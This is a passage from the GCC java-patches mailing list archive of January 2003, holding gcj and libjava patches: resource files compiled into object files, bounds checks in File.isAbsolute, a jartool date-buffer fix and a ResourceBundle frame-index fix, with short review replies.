FINISH_RECORD_CONSTRUCTOR (cinit); + TREE_CONSTANT (cinit) = 1; + decl = build_decl (VAR_DECL, get_identifier (buf), utf8const_type); + TREE_STATIC (decl) = 1; + DECL_ARTIFICIAL (decl) = 1; + DECL_IGNORED_P (decl) = 1; + TREE_READONLY (decl) = 1; + TREE_THIS_VOLATILE (decl) = 0; + DECL_INITIAL (decl) = cinit; + layout_decl (decl, 0); + pushdecl (decl); + rest_of_decl_compilation (decl, (char*) 0, global_bindings_p (), 0); + make_decl_rtl (decl, (char*) 0); + exp = build1 (ADDR_EXPR, utf8const_ptr_type, decl); + } return exp; } Index: gcj.texi =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/gcj.texi,v retrieving revision 1.49 diff -u -r1.49 gcj.texi --- gcj.texi 3 Jan 2003 18:04:25 -0000 1.49 +++ gcj.texi 21 Jan 2003 19:03:00 -0000 @@ -182,7 +182,10 @@ @item @var{file}.zip @itemx @var{file}.jar An archive containing one or more @code{.class} files, all of -which are compiled. The archive may be compressed. +which are compiled. The archive may be compressed. Files in +an archive which don't end with @samp{.class} are treated as +resource files; they are copmiled into the resulting object file +as @samp{core:} URLs. @item @@@var{file} A file containing a whitespace-separated list of input file names. (Currently, these must all be @code{.java} source files, but that Index: java-tree.h =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/java-tree.h,v retrieving revision 1.169 diff -u -r1.169 java-tree.h --- java-tree.h 18 Jan 2003 22:15:51 -0000 1.169 +++ java-tree.h 21 Jan 2003 19:03:02 -0000 @@ -1299,6 +1299,13 @@ extern void java_inlining_merge_static_initializers (tree, void *); extern void java_inlining_map_static_initializers (tree, void *); +extern void compile_resource_data PARAMS ((char *name, const char *buffer, + int length)); +extern void write_resource_constructor PARAMS ((void)); +extern void compile_resource_file PARAMS ((char *name, const char *filename)); +extern void init_resource_processing PARAMS ((void)); + + #define DECL_FINAL(DECL) DECL_LANG_FLAG_3 (DECL) /* Access flags etc for a method (a FUNCTION_DECL): */ Index: jcf-io.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/jcf-io.c,v retrieving revision 1.41 diff -u -r1.41 jcf-io.c --- jcf-io.c 18 Jan 2003 22:15:51 -0000 1.41 +++ jcf-io.c 21 Jan 2003 19:03:03 -0000 @@ -186,48 +186,48 @@ int read_zip_member (JCF *jcf, ZipDirectory *zipd, ZipFile *zipf) { - jcf->filbuf = jcf_unexpected_eof; - jcf->zipd = (void *)zipd; + jcf->filbuf = jcf_unexpected_eof; + jcf->zipd = (void *)zipd; - if (zipd->compression_method == Z_NO_COMPRESSION) - { - jcf->buffer = ALLOC (zipd->size); - jcf->buffer_end = jcf->buffer + zipd->size; - jcf->read_ptr = jcf->buffer; - jcf->read_end = jcf->buffer_end; - if (lseek (zipf->fd, zipd->filestart, 0) < 0 - || read (zipf->fd, jcf->buffer, zipd->size) != (long) zipd->size) - return -2; - } - else - { - char *buffer; - z_stream d_stream; /* decompression stream */ - d_stream.zalloc = (alloc_func) 0; - d_stream.zfree = (free_func) 0; - d_stream.opaque = (voidpf) 0; + if (zipd->compression_method == Z_NO_COMPRESSION) + { + jcf->buffer = ALLOC (zipd->size); + jcf->buffer_end = jcf->buffer + zipd->size; + jcf->read_ptr = jcf->buffer; + jcf->read_end = jcf->buffer_end; + if (lseek (zipf->fd, zipd->filestart, 0) < 0 + || read (zipf->fd, jcf->buffer, zipd->size) != (long) zipd->size) + return -2; + } + else + { + char *buffer; + z_stream d_stream; /* decompression stream */ + d_stream.zalloc = (alloc_func) 0; + d_stream.zfree = (free_func) 0; + d_stream.opaque = (voidpf) 0; - jcf->buffer = ALLOC (zipd->uncompressed_size); - d_stream.next_out = jcf->buffer; - d_stream.avail_out = zipd->uncompressed_size; - jcf->buffer_end = jcf->buffer + zipd->uncompressed_size; - jcf->read_ptr = jcf->buffer; - jcf->read_end = jcf->buffer_end; - buffer = ALLOC (zipd->size); - d_stream.next_in = buffer; - d_stream.avail_in = zipd->size; - if (lseek (zipf->fd, zipd->filestart, 0) < 0 - || read (zipf->fd, buffer, zipd->size) != (long) zipd->size) - return -2; - /* Handle NO_HEADER using undocumented zlib feature. - This is a very common hack. */ - inflateInit2 (&d_stream, -MAX_WBITS); - inflate (&d_stream, Z_NO_FLUSH); - inflateEnd (&d_stream); - FREE (buffer); - } + jcf->buffer = ALLOC (zipd->uncompressed_size); + d_stream.next_out = jcf->buffer; + d_stream.avail_out = zipd->uncompressed_size; + jcf->buffer_end = jcf->buffer + zipd->uncompressed_size; + jcf->read_ptr = jcf->buffer; + jcf->read_end = jcf->buffer_end; + buffer = ALLOC (zipd->size); + d_stream.next_in = buffer; + d_stream.avail_in = zipd->size; + if (lseek (zipf->fd, zipd->filestart, 0) < 0 + || read (zipf->fd, buffer, zipd->size) != (long) zipd->size) + return -2; + /* Handle NO_HEADER using undocumented zlib feature. + This is a very common hack. */ + inflateInit2 (&d_stream, -MAX_WBITS); + inflate (&d_stream, Z_NO_FLUSH); + inflateEnd (&d_stream); + FREE (buffer); + } - return 0; + return 0; } const char * Index: jcf-parse.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/jcf-parse.c,v retrieving revision 1.132 diff -u -r1.132 jcf-parse.c --- jcf-parse.c 18 Jan 2003 22:15:51 -0000 1.132 +++ jcf-parse.c 21 Jan 2003 19:03:04 -0000 @@ -94,6 +94,8 @@ /* Declarations of some functions used here. */ static void handle_innerclass_attribute (int count, JCF *); static tree give_name_to_class (JCF *jcf, int index); +static char *compute_class_name (struct ZipDirectory *zdir); +static int classify_zip_file (struct ZipDirectory *zdir); static void parse_zip_file_entries (void); static void process_zip_dir (FILE *); static void parse_source_file_1 (tree, FILE *); @@ -1012,7 +1014,7 @@ finput = fopen (IDENTIFIER_POINTER (name), "rb"); if (finput == NULL) fatal_io_error ("can't open %s", IDENTIFIER_POINTER (name)); - + #ifdef IO_BUFFER_SIZE setvbuf (finput, xmalloc (IO_BUFFER_SIZE), _IOFBF, IO_BUFFER_SIZE); @@ -1047,7 +1049,7 @@ if (open_in_zip (main_jcf, input_filename, NULL, 0) < 0) fatal_error ("bad zip/jar file %s", IDENTIFIER_POINTER (name)); localToFile = SeenZipFiles; - /* Register all the class defined there. */ + /* Register all the classes defined there. */ process_zip_dir (main_jcf->read_state); parse_zip_file_entries (); /* @@ -1100,6 +1102,51 @@ if (flag_indirect_dispatch) emit_offset_symbol_table (); } + + write_resource_constructor (); +} + +/* Return the name of the class corresponding to the name of the file + in this zip entry. The result is newly allocated using ALLOC. */ +static char * +compute_class_name (struct ZipDirectory *zdir) +{ + char *class_name_in_zip_dir = ZIPDIR_FILENAME (zdir); + char *class_name; + int j; + + class_name = ALLOC (zdir->filename_length + 1 - 6); + strncpy (class_name, class_name_in_zip_dir, zdir->filename_length - 6); + class_name [zdir->filename_length - 6] = '\0'; + for (j = 0; class_name[j]; ++j) + class_name[j] = class_name[j] == '/' ? '.' : class_name[j]; + return class_name; +} + +/* Return 0 if we should skip this entry, 1 if it is a .class file, 2 + if it is a property file of some sort. */ +static int +classify_zip_file (struct ZipDirectory *zdir) +{ + char *class_name_in_zip_dir = ZIPDIR_FILENAME (zdir); + + if (zdir->filename_length > 6 + && !strncmp (&class_name_in_zip_dir[zdir->filename_length - 6], + ".class", 6)) + return 1; + + /* For now we drop the manifest and other information. Maybe it + would make more sense to compile it in? */ + if (zdir->filename_length > 8 + && !strncmp (class_name_in_zip_dir, "META-INF/", 9)) + return 0; + + /* Drop directory entries. */ + if (zdir->filename_length > 0 + && class_name_in_zip_dir[zdir->filename_length - 1] == '/') + return 0; + + return 2; } /* Process all class entries found in the zip file. */ @@ -1113,35 +1160,80 @@ i < localToFile->count; i++, zdir = ZIPDIR_NEXT (zdir)) { tree class; - - /* We don't need to consider those files. */ - if (!zdir->size || !zdir->filename_offset) - continue; - - class = lookup_class (get_identifier (ZIPDIR_FILENAME (zdir))); - current_jcf = TYPE_JCF (class); - current_class = class; - if ( !CLASS_LOADED_P (class)) + switch (classify_zip_file (zdir)) { - if (! CLASS_PARSED_P (class)) - { - read_zip_member(current_jcf, zdir, localToFile); - jcf_parse (current_jcf); - } - layout_class (current_class); - load_inner_classes (current_class); - } + case 0: + continue; - if (TYPE_SIZE (current_class) != error_mark_node) - { - input_filename = current_jcf->filename; - parse_class_file (); - FREE (current_jcf->buffer); /* No longer necessary */ - /* Note: there is a way to free this buffer right after a - class seen in a zip file has been parsed. The idea is the - set its jcf in such a way that buffer will be reallocated - the time the code for the class will be generated. FIXME. */ + case 1: + { + char *class_name = compute_class_name (zdir); + class = lookup_class (get_identifier (class_name)); + FREE (class_name); + current_jcf = TYPE_JCF (class); + current_class = class; + + if (! CLASS_LOADED_P (class)) + { + if (! CLASS_PARSED_P (class)) + { + read_zip_member (current_jcf, zdir, localToFile); + jcf_parse (current_jcf); + } + layout_class (current_class); + load_inner_classes (current_class); + } + + if (TYPE_SIZE (current_class) != error_mark_node) + { + input_filename = current_jcf->filename; + parse_class_file (); + FREE (current_jcf->buffer); /* No longer necessary */ + /* Note: there is a way to free this buffer right after a + class seen in a zip file has been parsed. The idea is the + set its jcf in such a way that buffer will be reallocated + the time the code for the class will be generated. FIXME. */ + } + } + break; + + case 2: + { + char *file_name, *class_name_in_zip_dir, *buffer; + JCF *jcf; + file_name = ALLOC (zdir->filename_length + 1); + class_name_in_zip_dir = ZIPDIR_FILENAME (zdir); + strncpy (file_name, class_name_in_zip_dir, zdir->filename_length); + file_name[zdir->filename_length] = '\0'; + jcf = ALLOC (sizeof (JCF)); + JCF_ZERO (jcf); + jcf->read_state = finput; + jcf->filbuf = jcf_filbuf_from_stdio; + jcf->java_source = 0; + jcf->classname = NULL; + jcf->filename = file_name; + jcf->zipd = zdir; + + if (read_zip_member (jcf, zdir, localToFile) < 0) + fatal_error ("error while reading %s from zip file", file_name); + + buffer = ALLOC (zdir->filename_length + 1 + + (jcf->buffer_end - jcf->buffer)); + strcpy (buffer, file_name); + memcpy (buffer + zdir->filename_length + 1, + jcf->buffer, jcf->buffer_end - jcf->buffer); + + compile_resource_data (file_name, buffer, + jcf->buffer_end - jcf->buffer); + JCF_FINISH (jcf); + FREE (jcf); + FREE (buffer); + } + break; + + default: + abort (); } } } @@ -1165,33 +1257,18 @@ class_name_in_zip_dir = ZIPDIR_FILENAME (zdir); - /* We choose to not to process entries with a zero size or entries - not bearing the .class extension. */ - if (!zdir->size || !zdir->filename_offset || - strncmp (&class_name_in_zip_dir[zdir->filename_length-6], - ".class", 6)) - { - /* So it will be skipped in parse_zip_file_entries */ - zdir->size = 0; - continue; - } + /* Here we skip non-class files; we handle them later. */ + if (classify_zip_file (zdir) != 1) + continue; - class_name = ALLOC (zdir->filename_length+1-6); + class_name = compute_class_name (zdir); file_name = ALLOC (zdir->filename_length+1); jcf = ggc_alloc (sizeof (JCF)); JCF_ZERO (jcf); - strncpy (class_name, class_name_in_zip_dir, zdir->filename_length-6); - class_name [zdir->filename_length-6] = '\0'; strncpy (file_name, class_name_in_zip_dir, zdir->filename_length); file_name [zdir->filename_length] = '\0'; - for (j=0; class_name[j]; j++) - class_name [j] = (class_name [j] == '/' ? '.' : class_name [j]); - - /* Yes, we write back the true class name into the zip directory. */ - strcpy (class_name_in_zip_dir, class_name); - zdir->filename_length = j; class = lookup_class (get_identifier (class_name)); jcf->read_state = finput; Index: resource.c =================================================================== RCS file: resource.c diff -N resource.c --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ resource.c 21 Jan 2003 19:03:04 -0000 @@ -0,0 +1,199 @@ +/* Functions related to building resource files. + Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003 + Free Software Foundation, Inc. + +This file is part of GCC. + +GCC is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GCC is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GCC; see the file COPYING. If not, write to +the Free Software Foundation, 59 Temple Place - Suite 330, +Boston, MA 02111-1307, USA. + +Java and all Java-based marks are trademarks or registered trademarks +of Sun Microsystems, Inc. in the United States and other countries. +The Free Software Foundation is independent of Sun Microsystems, Inc. */ + +#include "config.h" +#include "system.h" +#include "coretypes.h" +#include "tm.h" +#include "tree.h" +#include "rtl.h" +#include "flags.h" +#include "java-tree.h" +#include "jcf.h" +#include "obstack.h" +#include "toplev.h" +#include "output.h" +#include "parse.h" +#include "function.h" +#include "ggc.h" +#include "stdio.h" +#include "target.h" + +/* DOS brain-damage */ +#ifndef O_BINARY +#define O_BINARY 0 /* MS-DOS brain-damage */ +#endif + +/* A list of all the resources files. */ +static GTY(()) tree resources = NULL; + +/* Function used to register resources. */ +static GTY(()) rtx registerResource_libfunc; + +/* Count of all the resources compiled in this invocation. */ +static int Jr_count = 0; + +void +compile_resource_data (name, buffer, length) + char *name; + const char *buffer; + int length; +{ + tree rtype, field = NULL_TREE, data_type, rinit, data, decl; + char buf[60]; + + data_type = build_prim_array_type (unsigned_byte_type_node, + strlen (name) + length); + rtype = make_node (RECORD_TYPE); + PUSH_FIELD (rtype, field, "name_length", unsigned_int_type_node); + PUSH_FIELD (rtype, field, "resource_length", unsigned_int_type_node); + PUSH_FIELD (rtype, field, "data", data_type); + FINISH_RECORD (rtype); + START_RECORD_CONSTRUCTOR (rinit, rtype); + PUSH_FIELD_VALUE (rinit, "name_length", + build_int_2 (strlen (name), 0)); + PUSH_FIELD_VALUE (rinit, "resource_length", + build_int_2 (length, 0)); + data = build_string (strlen(name) + length, buffer); + TREE_TYPE (data) = data_type; + PUSH_FIELD_VALUE (rinit, "data", data); + FINISH_RECORD_CONSTRUCTOR (rinit); + TREE_CONSTANT (rinit) = 1; + + /* Generate a unique-enough identifier. */ + sprintf (buf, "_Jr%d", ++Jr_count); + + decl = build_decl (VAR_DECL, get_identifier (buf), rtype); + TREE_STATIC (decl) = 1; + DECL_ARTIFICIAL (decl) = 1; + DECL_IGNORED_P (decl) = 1; + TREE_READONLY (decl) = 1; + TREE_THIS_VOLATILE (decl) = 0; + DECL_INITIAL (decl) = rinit; + layout_decl (decl, 0); + pushdecl (decl); + rest_of_decl_compilation (decl, (char*) 0, global_bindings_p (), 0); + make_decl_rtl (decl, (char*) 0); + assemble_variable (decl, 1, 0, 0); + + resources = tree_cons (NULL_TREE, decl, resources); +} + +void +write_resource_constructor () +{ + tree init_name, init_type, init_decl; + tree iter; + + /* Only do work if required. */ + if (resources == NULL_TREE) + return; + + init_name = get_file_function_name ('I'); + init_type = build_function_type (void_type_node, end_params_node); + + init_decl = build_decl (FUNCTION_DECL, init_name, init_type); + SET_DECL_ASSEMBLER_NAME (init_decl, init_name); + TREE_STATIC (init_decl) = 1; + current_function_decl = init_decl; + DECL_RESULT (init_decl) = build_decl (RESULT_DECL, + NULL_TREE, void_type_node); + + /* It can be a static function as long as collect2 does not have + to scan the object file to find its ctor/dtor routine. */ + TREE_PUBLIC (init_decl) = ! targetm.have_ctors_dtors; + + pushlevel (0); + make_decl_rtl (init_decl, NULL); + init_function_start (init_decl, input_filename, 0); + expand_function_start (init_decl, 0); + + /* Write out entries in the same order in which they were defined. */ + for (iter = nreverse (resources); iter != NULL_TREE; + iter = TREE_CHAIN (iter)) + { + char *name = IDENTIFIER_POINTER (DECL_NAME (TREE_VALUE (iter))); + emit_library_call (registerResource_libfunc, 0, VOIDmode, 1, + gen_rtx (SYMBOL_REF, Pmode, name), + Pmode); + } + + expand_function_end (input_filename, 0, 0); + poplevel (1, 0, 1); + { + /* Force generation, even with -O3 or deeper. Gross hack. + FIXME. */ + int saved_flag = flag_inline_functions; + flag_inline_functions = 0; + rest_of_compilation (init_decl); + flag_inline_functions = saved_flag; + } + current_function_decl = NULL_TREE; + (* targetm.asm_out.constructor) (XEXP (DECL_RTL (init_decl), 0), + DEFAULT_INIT_PRIORITY); +} + +/* Generate a byte array representing the contents of FILENAME. The + array is assigned a unique local symbol. The array represents a + compiled Java resource, which is accessed by the runtime using + NAME. */ +void +compile_resource_file (name, filename) + char *name; + const char *filename; +{ + struct stat stat_buf; + int fd; + char *buffer; + + fd = open (filename, O_RDONLY | O_BINARY); + if (fd < 0) + { + perror ("Failed to read resource file"); + return; + } + if (fstat (fd, &stat_buf) != 0 + || ! S_ISREG (stat_buf.st_mode)) + { + perror ("Could not figure length of resource file"); + return; + } + buffer = xmalloc (strlen (name) + stat_buf.st_size); + strcpy (buffer, name); + read (fd, buffer + strlen (name), stat_buf.st_size); + close (fd); + + compile_resource_data (name, buffer, stat_buf.st_size); + write_resource_constructor (); +} + +void +init_resource_processing () +{ + registerResource_libfunc = + gen_rtx_SYMBOL_REF (Pmode, "_Jv_RegisterResource"); +} + +#include "gt-java-resource.h" From java-patches-return-5861-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 21 20:45:43 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20255 invoked by alias); 21 Jan 2003 20:45:42 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20240 invoked from network); 21 Jan 2003 20:45:38 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 21 Jan 2003 20:45:38 -0000 Received: from fleche.redhat.com (mt3.peakpeak.com [206.168.3.147] (may be forged)) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id NAA27964; Tue, 21 Jan 2003 13:45:36 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id C1C934F8073; Tue, 21 Jan 2003 13:43:36 -0700 (MST) To: Java Patch List Subject: Patch: FYI: File fixlet From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Dizzy, are we "REAL PEOPLE" or "AMAZING ANIMALS"? Date: 21 Jan 2003 13:43:36 -0700 Message-ID: <87wukys07b.fsf@fleche.redhat.com> Lines: 82 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >From the main list, with a couple tweaks. I'm checking this in on the trunk and 3.3. Tom Index: ChangeLog from Vladimir Puskas * java/io/natFileWin32.cc (isAbsolute): Check path length before looking at any characters. * java/io/natFilePosix.cc (_stat): Only compute `buf' if it will be used. (isAbsolute): Check path's length as well. Index: java/io/natFilePosix.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/natFilePosix.cc,v retrieving revision 1.2 diff -u -r1.2 natFilePosix.cc --- java/io/natFilePosix.cc 12 Jun 2002 17:01:02 -0000 1.2 +++ java/io/natFilePosix.cc 21 Jan 2003 20:43:21 -0000 @@ -1,6 +1,6 @@ // natFile.cc - Native part of File class for POSIX. -/* Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation +/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -60,14 +60,14 @@ jboolean java::io::File::_stat (jint query) { + if (query == ISHIDDEN) + return getName()->charAt(0) == '.'; + +#ifdef HAVE_STAT char *buf = (char *) __builtin_alloca (JvGetStringUTFLength (path) + 1); jsize total = JvGetStringUTFRegion (path, 0, path->length(), buf); buf[total] = '\0'; - if (query == ISHIDDEN) - return (getName()->charAt(0) == '.'); - -#ifdef HAVE_STAT struct stat sb; if (::stat (buf, &sb)) return false; @@ -131,7 +131,7 @@ jboolean java::io::File::isAbsolute (void) { - return path->charAt(0) == '/'; + return path->length() > 0 && path->charAt(0) == '/'; } jobjectArray Index: java/io/natFileWin32.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/natFileWin32.cc,v retrieving revision 1.11 diff -u -r1.11 natFileWin32.cc --- java/io/natFileWin32.cc 23 Oct 2002 20:44:24 -0000 1.11 +++ java/io/natFileWin32.cc 21 Jan 2003 20:43:21 -0000 @@ -1,6 +1,6 @@ // natFileWin32.cc - Native part of File class. -/* Copyright (C) 1998, 1999, 2002 Red Hat, Inc. +/* Copyright (C) 1998, 1999, 2002, 2003 Red Hat, Inc. This file is part of libgcj. @@ -119,7 +119,8 @@ jboolean java::io::File::isAbsolute (void) { - if (path->charAt(0) == '/' || path->charAt(0) == '\\') + if (path->length() > 0 + && (path->charAt(0) == '/' || path->charAt(0) == '\\')) return true; if (path->length() < 3) return false; From java-patches-return-5862-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 21 20:50:04 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21838 invoked by alias); 21 Jan 2003 20:50:03 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21829 invoked from network); 21 Jan 2003 20:50:02 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 21 Jan 2003 20:50:02 -0000 Received: from fleche.redhat.com (mt3.peakpeak.com [206.168.3.147] (may be forged)) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id NAA29017; Tue, 21 Jan 2003 13:50:00 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 6800F4F8073; Tue, 21 Jan 2003 13:48:01 -0700 (MST) To: Anthony Green Cc: Jeff Sturm , Andreas Tobler , aph , java-patches Subject: Re: unwind info for darwin References: <1043114374.2935.360.camel@escape> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Yow! I forgot my PAIL!! Date: 21 Jan 2003 13:48:01 -0700 In-Reply-To: <1043114374.2935.360.camel@escape> Message-ID: <87smvmrzzy.fsf@fleche.redhat.com> Lines: 8 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Anthony" == Anthony Green writes: Anthony> Ok - thanks to both of you. Andreas said he doesn't have write access. I'm checking it in on the trunk and 3.3. Tom From java-patches-return-5863-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 21 20:53:18 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24132 invoked by alias); 21 Jan 2003 20:53:18 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24125 invoked from network); 21 Jan 2003 20:53:17 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 21 Jan 2003 20:53:17 -0000 Received: from fleche.redhat.com (mt3.peakpeak.com [206.168.3.147] (may be forged)) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id NAA29820; Tue, 21 Jan 2003 13:53:16 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 77C964F8073; Tue, 21 Jan 2003 13:51:20 -0700 (MST) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: Patch: jartool.c and formatted time string in JAR listings References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Is this where people are HOT and NICE and they give you TOAST for FREE?? Date: 21 Jan 2003 13:51:20 -0700 In-Reply-To: Message-ID: <87of6arzuf.fsf@fleche.redhat.com> Lines: 11 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: Ranjit> 2003-01-20 Ranjit Mathew Ranjit> * jartool.c (list_jar): Terminate the 'ascii_date' buffer Ranjit> with a '\0' to guard against the case where the formatted Ranjit> time string is more than the size allowed by the buffer. This looks good to me. I'm checking it in on the trunk and the 3.3 branch. Tom From java-patches-return-5864-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 21 21:07:35 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 405 invoked by alias); 21 Jan 2003 21:07:34 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 369 invoked from network); 21 Jan 2003 21:07:32 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 21 Jan 2003 21:07:32 -0000 Received: from fleche.redhat.com (mt3.peakpeak.com [206.168.3.147] (may be forged)) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA01021; Tue, 21 Jan 2003 14:07:30 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 21FF04F8073; Tue, 21 Jan 2003 14:05:35 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: configure check for sys/mman.h References: <200301141104.04692.konqueror@gmx.de> <200301210727.04348.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: This TOPS OFF my partygoing experience! Someone I DON'T LIKE is talking to me about a HEART-WARMING European film.. Date: 21 Jan 2003 14:05:34 -0700 In-Reply-To: <200301210727.04348.konqueror@gmx.de> Message-ID: <87el76rz6p.fsf@fleche.redhat.com> Lines: 12 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> Is this patch not good enough for review ? Michael> (or too complicated ;-)) No, I'm just behind. I wonder if those checks will be enough. Historically there have been lots of configury problems with mmap(). If we fall back to something sensible on mmap failure, then it won't matter too much. Tom From java-patches-return-5865-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 21 21:16:21 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7819 invoked by alias); 21 Jan 2003 21:16:20 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7808 invoked from network); 21 Jan 2003 21:16:19 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 21 Jan 2003 21:16:19 -0000 Received: from fleche.redhat.com (mt3.peakpeak.com [206.168.3.147] (may be forged)) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA03444; Tue, 21 Jan 2003 14:16:17 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 8F0444F8073; Tue, 21 Jan 2003 14:14:21 -0700 (MST) To: Java Patch List Subject: Patch: FYI: ResourceBundle fix From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Where's the Coke machine? Tell me a joke!! Date: 21 Jan 2003 14:14:21 -0700 Message-ID: <87znpuqk7m.fsf@fleche.redhat.com> Lines: 37 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to the trunk and the 3.3 branch. The classloader lookup code in ResourceBundle starts with the wrong index and will thus miss the user's class. Tom 2003-01-21 Tom Tromey * java/util/natResourceBundle.cc (getCallingClassLoader): Start search at 2, not 3. Index: java/util/natResourceBundle.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/util/natResourceBundle.cc,v retrieving revision 1.6 diff -u -r1.6 natResourceBundle.cc --- java/util/natResourceBundle.cc 20 Dec 2002 02:06:21 -0000 1.6 +++ java/util/natResourceBundle.cc 21 Jan 2003 21:13:54 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 2002 Free Software Foundation +/* Copyright (C) 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -25,7 +25,10 @@ gnu::gcj::runtime::StackTrace *t = new gnu::gcj::runtime::StackTrace(6); try { - for (int i = 3; ; ++i) + /* Frame 0 is this method, frame 1 is getBundle, so starting at + frame 2 we might see the user's class. FIXME: should account + for reflection, JNI, etc, here. */ + for (int i = 2; ; ++i) { jclass klass = t->classAt(i); if (klass != NULL) From java-patches-return-5866-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 21 22:54:51 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4130 invoked by alias); 21 Jan 2003 22:54:50 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3885 invoked from network); 21 Jan 2003 22:54:49 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 21 Jan 2003 22:54:49 -0000 Received: from fleche.redhat.com (mt3.peakpeak.com [206.168.3.147] (may be forged)) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA28873; Tue, 21 Jan 2003 15:54:16 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 4A2C94F8073; Tue, 21 Jan 2003 15:52:16 -0700 (MST) To: Java Patch List Subject: Patch: RFC: PR 9125 From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Used staples are good with SOY SAUCE! Date: 21 Jan 2003 15:52:15 -0700 Message-ID: 